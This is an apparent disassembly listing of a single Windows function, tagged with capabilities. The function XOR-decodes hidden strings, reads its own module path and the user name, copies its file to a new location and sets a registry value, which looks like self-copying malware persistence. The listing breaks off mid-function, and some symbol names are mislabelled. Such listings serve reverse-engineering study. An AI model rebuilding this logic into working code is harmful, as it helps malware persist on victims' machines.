Function at 0x41d860
Capabilities:
Check if file exists
Copy file
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51f7e4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x580
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
push esi
push edi
mov dword [ebp - 0x1f], 0x8b8a8db9
xor ecx, ecx
mov word [ebp - 0x1b], 0xa0a2
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 6
jb 0x41d8b6
mov dword [0x5584f8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x9c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d8f2
sub ecx, edx
lea eax, [ebp - 0x1f]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402b20
mov dword [ebp - 4], 0
lea edx, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
cmovae edx, dword [ebp - 0xb0]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d930
mov edi, closesocket
sub ecx, esi
mov esi, dword [0x555b2c]
mov eax, edi
sub eax, esi
cmp eax, ecx
jb 0x41ff00
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push esi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1c0]
call fcn.00487550
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41d9b4
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d9aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x1e], 0xb8acb8ac
mov byte [ebp - 0x1a], 0xa6
xor ecx, ecx
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 5
jb 0x41d9d0
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41da03
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 3
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41da30
sub ecx, esi
mov eax, edi
mov esi, dword [0x555b2c]
sub eax, esi
cmp eax, ecx
jb 0x41ff05
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push esi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x240]
call fcn.00487550
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41daa9
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41da9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x1e], 0xbeaabca6
mov byte [ebp - 0x1a], 0xa7
xor ecx, ecx
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 5
jb 0x41dac2
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41daf5
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 6
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41db20
sub ecx, esi
mov eax, edi
mov esi, dword [0x555b2c]
sub eax, esi
cmp eax, ecx
jb 0x41ff0a
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push esi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x18c]
call fcn.00487550
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41db99
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41db8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff73
push ecx
push edx
call fcn.004f7c11
add esp, 8
push 0x200
lea eax, [ebp - 0x590]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x590]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x590]
mov dword [ebp - 0x190], 0
movups xmmword [ebp - 0x1a4], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dbf0
sub ecx, edx
lea eax, [ebp - 0x590]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.00402b20
push 0x104
lea eax, [ebp - 0x390]
mov byte [ebp - 4], 9
push 0
push eax
mov dword [ebp - 0x1a8], 0x104
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x390]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x5440e0]
xor ecx, ecx
mov dword [ebp - 0x25], 0xafaea3a7
mov byte [ebp - 0x21], 0xa3
movups xmmword [ebp - 0x20], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0xc
jb 0x41dc60
mov dword [0x5584d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x25]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dca0
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b20
cmp dword [ebp - 0x84], 0x10
mov eax, 0x1fe
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x98]
cmovae eax, dword [ebp - 0x98]
push eax
call fcn.00506621
mov ecx, dword [ebp - 0x84]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41dd1a
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41dd10
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff0f
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
test esi, esi
je 0x41e442
mov ecx, esi
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0
movups xmmword [ebp - 0x80], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dd57
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x80]
call fcn.00402b20
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov byte [ebp - 0x1a], 0xb7
xor ecx, ecx
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 1
jb 0x41dd80
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ddb3
sub ecx, edx
lea eax, [ebp - 0x1a]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov eax, 0x9fe
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x80]
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.0047f7d0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41de21
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41de17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff28
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x1ac], 0x10
lea ecx, [ebp - 0x1c0]
mov edx, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x6c]
mov edi, dword [ebp - 0x1b0]
sub eax, edx
mov dword [ebp - 0x30], edx
push edi
push ecx
cmp edi, eax
ja 0x41de75
cmp dword [ebp - 0x6c], 0x10
lea esi, [ebp - 0x80]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x80]
mov dword [ebp - 0x70], eax
lea eax, [esi + edx]
push eax
call fcn.004f9670
mov ecx, dword [ebp - 0x30]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x41de85
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x30]
push edi
call fcn.004859b0
cmp dword [ebp - 0x6c], 0x10
lea edx, [ebp - 0x80]
jb 0x41de95
mov edx, dword [ebp - 0x80]
test edx, edx
je 0x41ded1
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dea0
sub ecx, esi
je 0x41ded1
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41dee1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41dee1
cmp eax, 0x20
je 0x41dee1
cmp eax, 0x45
je 0x41dee1
cmp eax, 0x24
je 0x41dee1
lea ecx, [ebp - 0x80]
call fcn.0041aac0
test al, al
je 0x41e40a
xorps xmm0, xmm0
mov dword [ebp - 0x1d], 0x8b9589c5
movq qword [ebp - 0x19], xmm0
xor ecx, ecx
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x41def6
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x9c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41df32
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402b20
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x1a], 0xb7
cmovae eax, dword [ebp - 0xb0]
xor ecx, ecx
mov dword [ebp - 0x34], eax
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 1
jb 0x41df78
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dfb0
sub ecx, edx
lea eax, [ebp - 0x1a]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dfe0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x70]
sub eax, esi
cmp eax, ecx
jb 0x41ff14
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
push ecx
cmovae eax, dword [ebp - 0x80]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.00487550
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1c0]
cmp dword [ebp - 0x1ac], 0x10
mov esi, dword [ebp - 0x54]
mov eax, esi
cmovae ecx, dword [ebp - 0x1c0]
mov edi, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x58]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41e069
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x68]
jmp 0x41e079
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x68]
push dword [ebp - 0x30]
push edi
call fcn.004859b0
mov dword [ebp - 0xd0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xcc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xe0]
push dword [ebp - 0x34]
call fcn.0047f7d0
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0x7c09fe
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x41e15d
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e153
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff19
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x41e1b0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e1a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff19
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41e1fa
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e1f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff19
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41e238
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e22e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff19
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xc8]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
jne 0x41e3cc
cmp dword [ebp - 0xb4], 0x10
lea ecx, [ebp - 0xc8]
push 0
cmovae ecx, dword [ebp - 0xc8]
lea eax, [ebp - 0x1a4]
cmp dword [ebp - 0x190], 0x10
push ecx
cmovae eax, dword [ebp - 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41e3cc
movaps xmm0, xmmword [0x5455b0]
xor ecx, ecx
movups xmmword [ebp - 0x1f8], xmm0
mov dword [ebp - 0x1d8], 0x6b5b7865
movaps xmm0, xmmword [0x544da0]
movups xmmword [ebp - 0x1e8], xmm0
mov word [ebp - 0x1d4], 0x637d
movaps xmm0, xmmword [str.xHGcy]
movups xmmword [ebp - 0x1d2], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1f8], al
inc ecx
cmp ecx, 0x2d
jb 0x41e2d2
mov dword [0x5584e4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1cb], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e310
sub ecx, edx
lea eax, [ebp - 0x1f8]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x30]
push ecx
mov eax, 0x407c09fe
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push 0x20006
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x38]
test eax, eax
sete al
mov byte [ebp - 0x29], al
cmp ecx, 0x10
jb 0x41e392
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e385
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff1e
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x29]
add esp, 8
test al, al
je 0x41e3cc
lea ecx, [ebp - 0xc8]
call fcn.00402af0
lea ecx, [ebp - 0x1c0]
mov esi, eax
call fcn.00402af0
push dword [ebp - 0xb8]
push esi
push 1
push 0
push eax
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41e40a
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e400
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff23
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x41e442
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e438
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff28
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x1d], 0xbea0a9bf
movq qword [ebp - 0x19], xmm0
xor ecx, ecx
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x41e457
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e493
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00402b20
or dword [ebp - 0x34], 0x200
lea eax, [ebp - 0xe0]
cmp dword [ebp - 0xcc], 0x10
cmovae eax, dword [ebp - 0xe0]
push eax
call fcn.00506621
mov ecx, dword [ebp - 0xcc]
add esp, 4
mov dword [ebp - 0x50], eax
cmp ecx, 0x10
jb 0x41e50d
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e503
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff2d
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x544150]
xor ecx, ecx
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov dword [ebp - 0x68], 0xbba1a0aa
mov dword [ebp - 0x64], 0xa1a3b5bc
movups xmmword [ebp - 0x60], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xf
jb 0x41e543
mov dword [0x558508], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x59], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e580
sub ecx, edx
lea eax, [ebp - 0x68]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b20
or dword [ebp - 0x34], 0x400
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
cmovae eax, dword [ebp - 0x98]
push eax
call fcn.00506621
mov ecx, dword [ebp - 0x84]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41e5f9
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e5ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff32
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
test esi, esi
je 0x41f8db
mov ecx, esi
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0
movups xmmword [ebp - 0x80], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e636
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x80]
call fcn.00402b20
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
mov byte [ebp - 0x1a], 0xb7
xor ecx, ecx
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 1
jb 0x41e660
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e693
sub ecx, edx
lea eax, [ebp - 0x1a]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
or dword [ebp - 0x34], 0x1000
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x80]
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.0047f7d0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41e700
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e6f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff55
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x178], 0x10
lea ecx, [ebp - 0x18c]
mov esi, dword [ebp - 0x6c]
mov eax, esi
cmovae ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x70]
sub eax, edx
mov edi, dword [ebp - 0x17c]
push edi
push ecx
cmp edi, eax
ja 0x41e74c
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x41e762
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x30]
push edi
call fcn.004859b0
mov edi, dword [ebp - 0x17c]
mov esi, dword [ebp - 0x6c]
lea edx, [ebp - 0x80]
cmp esi, 0x10
jb 0x41e774
mov edx, dword [ebp - 0x80]
test edx, edx
je 0x41e7c9
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e780
sub ecx, dword [ebp - 0x30]
je 0x41e7c9
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41e82f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41e82f
cmp eax, 0x20
je 0x41e82f
cmp eax, 0x45
je 0x41e82f
cmp eax, 0x24
je 0x41e82f
mov esi, dword [ebp - 0x6c]
cmp esi, 0x10
mov dword [ebp - 0xe8], 0
lea edx, [ebp - 0x80]
mov dword [ebp - 0xe4], 0
cmovae edx, dword [ebp - 0x80]
xorps xmm0, xmm0
mov ecx, edx
movups xmmword [ebp - 0xf8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e7f6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf8]
call fcn.00402b20
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xf8]
mov eax, dword [ebp - 0x34]
or eax, 1
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
call fcn.0041aac0
mov byte [ebp - 0x29], 0
test al, al
je 0x41e833
mov byte [ebp - 0x29], 1
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x34]
test al, 1
je 0x41e87b
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x41e87b
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e871
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff37
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp byte [ebp - 0x29], 0
je 0x41f8a3
xorps xmm0, xmm0
mov dword [ebp - 0x1d], 0x8b9589c5
movq qword [ebp - 0x19], xmm0
xor ecx, ecx
mov byte [ebp - 0x11], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x41e8a0
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x9c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e8e0
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402b20
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
